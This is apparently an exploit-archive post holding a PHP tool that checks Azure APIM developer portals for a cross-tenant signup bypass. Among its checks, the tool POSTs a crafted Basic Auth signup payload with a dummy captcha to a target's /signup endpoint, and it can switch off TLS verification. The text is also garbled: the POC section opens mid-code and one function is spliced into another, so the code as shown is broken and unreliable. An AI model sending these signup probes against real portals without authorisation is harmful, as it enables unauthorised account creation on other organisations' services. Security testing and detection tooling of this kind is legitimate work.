============================================================================================================================================= | # Title : Azure APIM v 2 Vulnerability Checker | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://learn.microsoft.com | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212252/ [+] Summary : The PHP script, apim_vuln_checker.php, performs two main types of checks to determine the security posture of an Azure APIM developer portal [+] POC : false, CURLOPT_SSL_VERIFYHOST => false, ]; } return []; } // ---------------------------------------------------------------------- // Class AzureRMChecker (Azure Resource Manager Checks) // ---------------------------------------------------------------------- class AzureRMChecker { private string $subscription_id; private string $resource_group; private string $service_name; private bool $verbose; private string $base_url; private ?string $token; // Azure Access Token public function __construct(string $subscription_id, string $resource_group, string $service_name, bool $verbose = false) { $this->subscription_id = $subscription_id; $this->resource_group = $resource_group; $this->service_name = $service_name; $this->verbose = $verbose; $this->base_url = "https://management.azure.com/subscriptions/$subscription_id/resourceGroups/$resource_group/providers/Microsoft.ApiManagement/service/$service_name"; $this->token = null; } /** * Attempts to get Azure access token using the Azure CLI. * This is the PHP equivalent approach for the 'DefaultAzureCredential' Python method. */ private function get_azure_token(): ?string { if (empty($this->token)) { log_check("Attempting to get Azure token via 'az account get-access-token'..."); try { // Execute Azure CLI command to get a token for the management endpoint $command = 'az account get-access-token --resource https://management.azure.com/ --query accessToken --output tsv 2>&1'; $token = shell_exec($command); // Check for errors (az cli outputting errors might still return a non-empty string) if (strpos($token, 'ERROR:') !== false || strpos($token, 'failed') !== false || empty(trim($token))) { throw new Exception("az CLI returned an error or no token."); } $this->token = trim($token); log_safe("Successfully retrieved Azure token."); return $this->token; } catch (Exception $e) { log_vuln("Failed to get Azure token: " . $e->getMessage()); echo C_RED . " Make sure you're logged in with: az login" . C_RESET . "\n"; return null; } } return $this->token; } /** * Make authenticated request to Azure RM API using cURL. */ private function make_request(string $url): ?array { if (!$this->token) { $this->get_azure_token(); if (!$this->token) { return null; } } $ch = curl_init($url); $headers = [ "Authorization: Bearer " . $this->token, "Content-Type: application/json" ]; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); if ($this->verbose) { echo " GET $url\n"; } $response = curl_exec($ch); $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response === false) { if ($this->verbose) { echo " -> Error: " . curl_error($ch) . "\n"; } return null; } if ($status_code === 200) { return json_decode($response, true); } elseif ($status_code === 404) { return ["_not_found" => true]; } else { if ($this->verbose) { echo " -> $status_code: " . substr($response, 0, 200) . "\n"; } return null; } } /** * Check APIM service properties. * @return array{0: ?bool, 1: string, 2: array} Tuple of (is_vulnerable_config, message, properties_dict) */ public function check_apim_properties(): array { log_check("Checking APIM service properties via Azure RM..."); $url = $this->base_url . "?api-version=" . APIM_API_VERSION; $data = $this->make_request($url); if ($data === null) { return [null, "Failed to query APIM properties", []]; } if (isset($data['_not_found'])) { return [null, "APIM service not found", []]; } $properties = $data['properties'] ?? []; $sku = $data['sku'] ?? []; $result = [ "developerPortalStatus" => $properties['developerPortalStatus'] ?? null, "sku_name" => $sku['name'] ?? null, "sku_tier" => $sku['tier'] ?? null, ]; // Check vulnerable conditions $portal_enabled = ($properties['developerPortalStatus'] ?? null) === "Enabled"; $is_consumption = ($sku['name'] ?? null) === "Consumption"; if ($portal_enabled) { log_vuln("properties.developerPortalStatus = 'Enabled'"); } else { log_safe("properties.developerPortalStatus = '" . ($properties['developerPortalStatus'] ?? 'N/A') . "'"); } if ($is_consumption) { log_safe("sku.name = 'Consumption' (limited portal features)"); } else { log_info("sku.name = '" . ($sku['name'] ?? 'N/A') . "' (full portal features)"); } return [$portal_enabled && !$is_consumption, "APIM properties checked", $result]; } /** * Check if Basic Authentication identity provider exists. * @return array{0: ?bool, 1: string} Tuple of (exists, message) */ public function check_basic_identity_provider(): array { log_check("Checking for Basic Auth identity provider..."); $url = $this->base_url . "/identityProviders/basic?api-version=" . APIM_API_VERSION; $data = $this->make_request($url); if ($data === null) { return [null, "Failed to query identity providers"]; } if (isset($data['_not_found'])) { log_safe("identityProviders/basic does NOT exist"); return [false, "Basic Auth identity provider not configured"]; } log_vuln("identityProviders/basic EXISTS - Basic Auth is configured!"); return [true, "Basic Auth identity provider is configured"]; } /** * Check portal signup settings. * @return array{0: ?bool, 1: string, 2: ?bool} Tuple of (signup_disabled_in_ui, message, enabled_value) */ public function check_signup_settings(): array { log_check("Checking portal signup settings..."); $url = $this->base_url . "/portalsettings/signup?api-version=" . APIM_API_VERSION; $data = $this->make_request($url); if ($data === null) { return [null, "Failed to query signup settings", null]; } if (isset($data['_not_found'])) { return [null, "Signup settings not found", null]; } $properties = $data['properties'] ?? []; $enabled = $properties['enabled'] ?? null; if ($enabled === true) { log_info("portalsettings/signup.properties.enabled = true (signup visible in UI)"); return [false, "Signup is enabled in UI", true]; } elseif ($enabled === false) { log_vuln("portalsettings/signup.properties.enabled = false (signup hidden but API may still work!)"); return [true, "Signup is HIDDEN in UI (bypass possible)", false]; } else { return [null, "Signup enabled value: " . ($enabled === null ? 'null' : (string)$enabled), $enabled]; } } /** * Perform comprehensive Azure RM property checks. */ public function check_vulnerability(): array { $results = [ "subscription_id" => $this->subscription_id, "resource_group" => $this->resource_group, "service_name" => $this->service_name, "vulnerable" => false, "risk_level" => "Unknown", "checks" => [], "properties" => [] ]; // Check 1: APIM service properties [$props_vuln, $props_msg, $props_data] = $this->check_apim_properties(); $results["checks"]["apim_properties"] = [ "status" => $props_vuln, "message" => $props_msg ]; $results["properties"] = array_merge($results["properties"], $props_data); if ($props_vuln === null) { $results["risk_level"] = "Error"; return $results; } // Check 2: Basic Auth identity provider [$basic_exists, $basic_msg] = $this->check_basic_identity_provider(); $results["checks"]["basic_auth_provider"] = [ "status" => $basic_exists, "message" => $basic_msg ]; $results["properties"]["basic_auth_exists"] = $basic_exists; if ($basic_exists === null) { $results["risk_level"] = "Error"; return $results; } if (!$basic_exists) { $results["risk_level"] = "Low"; $results["checks"]["assessment"] = [ "status" => false, "message" => "No Basic Auth configured - not vulnerable" ]; return $results; } // Check 3: Signup settings (only relevant if Basic Auth exists) [$signup_hidden, $signup_msg, $signup_enabled] = $this->check_signup_settings(); $results["checks"]["signup_settings"] = [ "status" => $signup_hidden, "message" => $signup_msg ]; $results["properties"]["signup_enabled"] = $signup_enabled; // Determine vulnerability if ($props_vuln && $basic_exists) { if ($signup_hidden) { // Critical: Portal enabled + Basic Auth exists + Signup hidden = VULNERABLE $results["vulnerable"] = true; $results["risk_level"] = "Critical"; $results["checks"]["assessment"] = [ "status" => true, "message" => "VULNERABLE: Signup hidden in UI but Basic Auth API still accessible" ]; } else { // Basic Auth enabled and signup visible - attack source $results["risk_level"] = "Attack Source"; $results["checks"]["assessment"] = [ "status" => true, "message" => "Basic Auth signup enabled - can be used for cross-tenant attacks" ]; } } else { $results["risk_level"] = "Low"; $results["checks"]["assessment"] = [ "status" => false, "message" => "Configuration appears safe" ]; } return $results; } } // ---------------------------------------------------------------------- // Class APIMVulnerabilityChecker (HTTP Probe Checks) // ---------------------------------------------------------------------- class APIMVulnerabilityChecker { private string $url; private bool $verbose; private bool $verify_ssl; public function __construct(string $url, bool $verbose = false, bool $verify_ssl = true) { $this->url = rtrim($url, '/'); $this->verbose = $verbose; $this->verify_ssl = $verify_ssl; if (!$verify_ssl) { // In PHP, we just set cURL options, no need for urllib3 equivalent } } /** * Make an HTTP request using cURL. */ private function make_http_request(string $url, string $method = 'GET', ?array $data = null, array $headers = []): ?array { $ch = curl_init($url); $curl_options = get_curl_options($this->verify_ssl); // Standard headers $standard_headers = [ 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', ]; $all_headers = array_merge($standard_headers, $headers); curl_setopt($ch, CURLOPT_HTTPHEADER, $all_headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, true); if ($data !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); } } foreach ($curl_options as $option => $value) { curl_setopt($ch, $option, $value); } $response = curl_exec($ch); $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response === false) { if ($this->verbose) { echo " -> Error: " . curl_error($ch) . "\n"; } // Check for SSL error explicitly if (strpos(curl_error($ch), 'SSL') !== false) { return ['ssl_error' => true]; } return null; } return [ 'status_code' => $status_code, 'body' => $response ]; } /** * Check if /signup endpoint is accessible (for UI check). * @return array{0: ?bool, 1: string} Tuple of (accessible, message) */ public function check_signup_endpoint(): array { log_check("Checking signup endpoint accessibility..."); $result = $this->make_http_request("{$this->url}/signup", 'GET'); if ($result === null) { return [false, "Error accessing signup endpoint: connection failed"]; } if (isset($result['ssl_error'])) { return [null, "SSL_ERROR: SSL certificate verification failed"]; } $status_code = $result['status_code']; if (in_array($status_code, [200, 302])) { return [true, "Signup endpoint is accessible"]; } else { return [false, "Signup endpoint returned $status_code"]; } } /** * Check if Basic Authentication signup API is accessible (bypassing UI). * @return array{0: ?bool, 1: string} Tuple of (accessible, message) */ public function check_basic_auth(): array { log_check("Checking if Basic Auth signup API is accessible..."); $signup_payload = [ "challenge" => [ "testCaptchaRequest" => [ "challengeId" => "00000000-0000-0000-0000-000000000000", "inputSolution" => "AAAAAA" ], "azureRegion" => "NorthCentralUS", "challengeType" => "visual" ], "signupData" => [ "email" => "vuln-probe-test@nonexistent-invalid-domain.test", "firstName" => "Probe", "lastName" => "Test", "password" => "VulnProbe123!", "confirmation" => "signup", "appType" => "developerPortal" ] ]; $headers = [ 'Content-Type: application/json', 'Accept: */*', "Origin: {$this->url}", "Referer: {$this->url}/signup" ]; $api_url = "{$this->url}/signup"; if ($this->verbose) { echo " Trying: POST $api_url\n"; } $result = $this->make_http_request($api_url, 'POST', $signup_payload, $headers); if ($result === null) { return [null, "Connection timeout or error"]; } if (isset($result['ssl_error'])) { return [null, "SSL_ERROR: SSL certificate verification failed"]; } $status_code = $result['status_code']; $response_text = strtolower($result['body']); if ($this->verbose) { echo " -> $status_code\n"; echo " -> " . substr($response_text, 0, 200) . "...\n"; } // 404 = endpoint doesn't exist if ($status_code == 404) { if (strpos($response_text, 'html') !== false || strpos($response_text, 'make_http_request("{$this->url}/signup", 'GET'); if ($result === null) { return [null, "Error checking signup page: connection failed"]; } $status_code = $result['status_code']; // If we get redirected away or 404, signup is hidden in UI if ($status_code == 404) { return [true, "Signup page returns 404 (hidden in UI)"]; } if (in_array($status_code, [301, 302, 303, 307, 308])) { return [true, "Signup page redirects away (disabled in UI)"]; } if ($status_code == 200) { return [false, "Signup page accessible (UI shows signup)"]; } return [null, "Signup page returned $status_code"]; } /** * Perform comprehensive vulnerability check. */ public function check_vulnerability(): array { $results = [ 'url' => $this->url, 'vulnerable' => false, 'attack_source' => false, 'risk_level' => 'Unknown', 'checks' => [] ]; // Check 1: Signup page accessible in UI [$signup_ui_accessible, $signup_ui_msg] = $this->check_signup_endpoint(); $results['checks']['signup_ui'] = [ 'status' => $signup_ui_accessible, 'message' => $signup_ui_msg ]; // Check for SSL error if (strpos($signup_ui_msg, "SSL_ERROR:") !== false) { log_vuln("SSL certificate verification failed"); log_info("Try running with -k flag to skip SSL verification"); $results['risk_level'] = 'SSL Error'; $results['ssl_error'] = true; return $results; } if ($signup_ui_accessible) { log_info($signup_ui_msg); } else { log_info($signup_ui_msg); } // Check 2: Basic Auth API accessible (the real test) [$basic_auth_api, $basic_api_msg] = $this->check_basic_auth(); $results['checks']['basic_auth_api'] = [ 'status' => $basic_auth_api, 'message' => $basic_api_msg ]; if ($basic_auth_api === true) { log_vuln($basic_api_msg); } elseif ($basic_auth_api === false) { log_safe($basic_api_msg); $results['risk_level'] = 'Low'; return $results; } else { // Check for SSL error from basic_auth check if (strpos($basic_api_msg, "SSL_ERROR:") !== false) { log_vuln("SSL certificate verification failed during API check"); $results['risk_level'] = 'SSL Error'; $results['ssl_error'] = true; return $results; } log_info($basic_api_msg); } // Check 3: Is signup disabled/hidden in UI? [$signup_hidden, $signup_hidden_msg] = $this->check_signup_disabled(); $results['checks']['signup_ui_hidden'] = [ 'status' => $signup_hidden, 'message' => $signup_hidden_msg ]; if ($signup_hidden) { log_info($signup_hidden_msg); } else { log_info($signup_hidden_msg); } // Determine vulnerability if ($basic_auth_api) { if ($signup_hidden) { // UI disabled but API works = VULNERABLE TARGET $results['vulnerable'] = true; $results['risk_level'] = 'Critical'; } else { // UI enabled and API works = ATTACK SOURCE $results['attack_source'] = true; $results['risk_level'] = 'Attack Source'; } } else { $results['risk_level'] = 'Low'; } return $results; } } // ---------------------------------------------------------------------- // Output Functions (print_azure_rm_results and print_results) - (Not included for brevity, but they would be // simple PHP functions using the color constants defined above) // ---------------------------------------------------------------------- // ... (Define print_azure_rm_results and print_results here using the C_ constants) ... // The full print functions are omitted here to keep the PHP response focused, // but they would directly translate the Python print statements. function print_azure_rm_results(array $results): void { echo C_CYAN . str_repeat('=', 70) . "\n"; echo "AZURE RESOURCE MANAGER PROPERTY CHECK RESULTS\n"; echo str_repeat('=', 70) . C_RESET . "\n\n"; echo "Subscription: " . ($results['subscription_id'] ?? 'N/A') . "\n"; echo "Resource Group: " . ($results['resource_group'] ?? 'N/A') . "\n"; echo "Service Name: " . ($results['service_name'] ?? 'N/A') . "\n\n"; // Risk level $risk = $results['risk_level'] ?? 'Unknown'; $risk_color = C_GREEN; if ($risk === 'Critical' || $risk === 'Error') { $risk_color = C_RED; } elseif ($risk === 'Attack Source') { $risk_color = C_YELLOW; } echo "Risk Level: {$risk_color}{$risk}" . C_RESET . ($risk === 'Critical' ? ' - VULNERABLE TO SIGNUP BYPASS' : ($risk === 'Attack Source' ? ' - CAN BE USED FOR CROSS-TENANT BYPASS' : ($risk === 'Error' ? ' - COULD NOT COMPLETE CHECKS' : ' - NOT VULNERABLE'))) . "\n"; // Properties echo "\n" . C_CYAN . "Resource Properties:" . C_RESET . "\n\n"; $props = $results['properties'] ?? []; foreach ($props as $key => $value) { $display_value = is_bool($value) ? ($value ? 'true' : 'false') : ($value ?? 'N/A'); $prefix = C_GREEN . "[+]" . C_RESET; if ($key === 'basic_auth_exists' && $value) { $prefix = C_RED . "[!]" . C_RESET; } elseif ($key === 'signup_enabled' && $value === false) { $prefix = C_RED . "[!]" . C_RESET; } elseif ($key === 'developerPortalStatus' && $value === 'Enabled') { $prefix = C_YELLOW . "[i]" . C_RESET; } echo " $prefix $key: $display_value\n"; } // Assessment echo "\n" . C_CYAN . "Vulnerability Assessment:" . C_RESET . "\n\n"; foreach (($results['checks'] ?? []) as $check_name => $check_data) { $status = $check_data['status'] ?? null; $message = $check_data['message'] ?? 'N/A'; $prefix = C_YELLOW . "[?]" . C_RESET; if ($status === true) { $prefix = C_RED . "[!]" . C_RESET; } elseif ($status === false) { $prefix = C_GREEN . "[+]" . C_RESET; } echo " $prefix $check_name: $message\n"; } echo "\n" . C_CYAN . str_repeat('=', 70) . C_RESET . "\n\n"; } function print_results(array $results): void { echo "\n" . C_CYAN . str_repeat('=', 70) . "\n"; echo "VULNERABILITY ASSESSMENT RESULTS\n"; echo str_repeat('=', 70) . C_RESET . "\n\n"; echo "Target: " . ($results['url'] ?? 'N/A') . "\n\n"; // Risk level $risk = $results['risk_level'] ?? 'Unknown'; $risk_color = C_GREEN; $risk_message = ''; switch ($risk) { case 'Critical': $risk_color = C_RED; $risk_message = ' - VULNERABLE TO SIGNUP BYPASS'; break; case 'Attack Source': $risk_color = C_YELLOW; $risk_message = ' - CAN BE USED FOR CROSS-TENANT BYPASS'; break; case 'SSL Error': $risk_color = C_RED; $risk_message = ' - SSL ERROR PREVENTED SCAN'; break; case 'High': $risk_color = C_RED; $risk_message = ' - LIKELY VULNERABLE'; break; case 'Medium': $risk_color = C_YELLOW; $risk_message = ' - BASIC AUTH ENABLED'; break; default: $risk_color = C_GREEN; $risk_message = ' - LIKELY NOT VULNERABLE'; break; } echo "Risk Level: {$risk_color}{$risk}{$risk_message}" . C_RESET . "\n"; echo "\n" . C_CYAN . "Detailed Checks:" . C_RESET . "\n\n"; foreach (($results['checks'] ?? []) as $check_name => $check_data) { $status = $check_data['status'] ?? null; $message = $check_data['message'] ?? 'N/A'; if (strpos($message, "SSL_ERROR:") !== false) { $message = "SSL certificate verification failed"; } $prefix = C_YELLOW . "[?]" . C_RESET; if ($status === true) { $prefix = C_RED . "[!]" . C_RESET; } elseif ($status === false) { $prefix = C_GREEN . "[+]" . C_RESET; } echo " $prefix $check_name: $message\n"; } // Recommendations (Omitted for brevity, but would use the same logic and C_ constants) // ... echo "\n" . C_CYAN . "Recommendations:" . C_RESET . "\n\n"; // Simplified Recommendations output: if ($results['vulnerable'] ?? false) { echo C_RED . "CRITICAL: SIGNUP BYPASS VULNERABILITY CONFIRMED" . C_RESET . "\n"; echo "Immediate actions: 1. DISABLE Basic Authentication. 2. Audit user accounts.\n"; } elseif ($results['attack_source'] ?? false) { echo C_YELLOW . "ATTACK SOURCE IDENTIFIED" . C_RESET . "\n"; echo "This instance can be used to attack others. Consider disabling Basic Auth if not needed.\n"; } elseif ($results['ssl_error'] ?? false) { echo C_RED . "SSL CERTIFICATE ERROR" . C_RESET . "\n"; echo "Could not connect. Try running with -k flag: php apim_vuln_checker.php -k {$results['url']}\n"; } else { echo C_GREEN . "Your instance appears to have reduced risk." . C_RESET . "\n"; } echo "\n" . C_CYAN . str_repeat('=', 70) . C_RESET . "\n\n"; } // ---------------------------------------------------------------------- // Main Execution Block (Equivalent to Python's main() and argument parsing) // ---------------------------------------------------------------------- function main(array $argv): void { // PHP doesn't have a built-in sophisticated argument parser like Python's argparse, // so we'll use a simpler, manual parsing approach or require a library like symfony/console. // For simplicity, we'll parse $argv manually. $args = [ 'url' => null, 'json' => false, 'verbose' => false, 'insecure' => false, 'azure' => false, 'subscription' => null, 'resource-group' => null, 'name' => null, ]; $url_found = false; for ($i = 1; $i < count($argv); $i++) { $arg = $argv[$i]; $next_arg = $argv[$i + 1] ?? null; switch ($arg) { case '--json': $args['json'] = true; break; case '-v': case '--verbose': $args['verbose'] = true; break; case '-k': case '--insecure': $args['insecure'] = true; break; case '--azure': $args['azure'] = true; break; case '-s': case '--subscription': $args['subscription'] = $next_arg; $i++; break; case '-g': case '--resource-group': $args['resource-group'] = $next_arg; $i++; break; case '-n': case '--name': $args['name'] = $next_arg; $i++; break; default: if (filter_var($arg, FILTER_VALIDATE_URL) && !$url_found) { $args['url'] = $arg; $url_found = true; } else { // This is a simplistic error handling fwrite(STDERR, "Error: Unknown argument or misplaced URL: $arg\n"); exit(1); } break; } } // Validate arguments if (empty($args['url']) && !$args['azure']) { fwrite(STDERR, "Error: Either URL or --azure with -s/-g/-n is required\n"); fwrite(STDERR, "Usage: php apim_vuln_checker.php [URL] [--azure -s -g -n ]\n"); exit(1); } if ($args['azure'] && (empty($args['subscription']) || empty($args['resource-group']) || empty($args['name']))) { fwrite(STDERR, "Error: --azure requires -s/--subscription, -g/--resource-group, and -n/--name\n"); exit(1); } // Banner (omitted for brevity, but should be included using C_CYAN) echo C_CYAN . str_repeat('=', 70) . "\n"; echo "Azure APIM Vulnerability Checker\n"; echo "Cross-Tenant Signup Bypass Detection\n"; echo str_repeat('=', 70) . C_RESET . "\n\n"; $all_results = []; $is_vulnerable = false; // Run HTTP probe checks if URL provided if ($args['url']) { $checker = new APIMVulnerabilityChecker($args['url'], $args['verbose'], !$args['insecure']); $http_results = $checker->check_vulnerability(); $all_results['http_probe'] = $http_results; $is_vulnerable = $is_vulnerable || ($http_results['vulnerable'] ?? false); if (!$args['json']) { print_results($http_results); } } // Run Azure RM property checks if enabled if ($args['azure']) { echo "\n" . C_CYAN . str_repeat('=', 70) . "\n"; echo "AZURE RESOURCE MANAGER PROPERTY CHECKS\n"; echo str_repeat('=', 70) . C_RESET . "\n\n"; $azure_checker = new AzureRMChecker( $args['subscription'], $args['resource-group'], $args['name'], $args['verbose'] ); $azure_results = $azure_checker->check_vulnerability(); $all_results['azure_rm'] = $azure_results; $is_vulnerable = $is_vulnerable || ($azure_results['vulnerable'] ?? false); if (!$args['json']) { print_azure_rm_results($azure_results); } } // Output JSON if requested if ($args['json']) { echo json_encode($all_results, JSON_PRETTY_PRINT) . "\n"; } // Exit code based on vulnerability exit($is_vulnerable ? 1 : 0); } // Ensure the code is run from the command line and cURL is available if (php_sapi_name() !== 'cli' || !extension_loaded('curl')) { fwrite(STDERR, "This script must be run from the command line (CLI) and requires the PHP cURL extension.\n"); exit(1); } // Execute main function main($argv); // End of file Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================